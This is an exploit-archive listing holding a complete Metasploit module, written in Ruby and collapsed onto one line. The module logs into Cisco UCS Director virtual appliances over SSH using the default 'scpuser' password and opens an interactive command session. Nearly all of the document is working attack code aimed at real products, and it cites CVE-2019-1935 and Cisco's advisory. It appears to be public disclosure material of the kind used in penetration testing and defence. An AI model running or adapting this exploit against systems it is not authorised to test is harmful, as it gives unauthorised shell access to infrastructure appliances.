Cisco UCS Director Default scpuser Password

2019.09.03
Credit: Pedro Ribeiro
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/ssh' require 'net/ssh/command_stream' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Cisco UCS Director default scpuser password", 'Description' => %q{ This module abuses a known default password on Cisco UCS Director. The 'scpuser' has the password of 'scpuser', and allows an attacker to login to the virtual appliance via SSH. This module has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0. Note that Cisco also mentions in their advisory that their IMC Supervisor and UCS Director Express are also affected by these vulnerabilities, but this module was not tested with those products. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2019-1935' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ], [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Cisco UCS Director < 6.7.2.0', {} ], ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 21 2019' )) register_options( [ Opt::RPORT(22), OptString.new('USERNAME', [true, "Username to login with", 'scpuser']), OptString.new('PASSWORD', [true, "Password to login with", 'scpuser']), ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(user, pass) factory = ssh_socket_factory opts = { :auth_methods => ['password', 'keyboard-interactive'], :port => rport, :use_agent => false, :config => false, :password => pass, :proxy => factory, :non_interactive => true, :verify_host_key => :never } opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh = Net::SSH.start(rhost, user, opts) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh conn = Net::SSH::CommandStream.new(ssh) ssh = nil return conn end return nil end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...") conn = do_login(user, pass) if conn print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})") handler(conn.lsock) end end end


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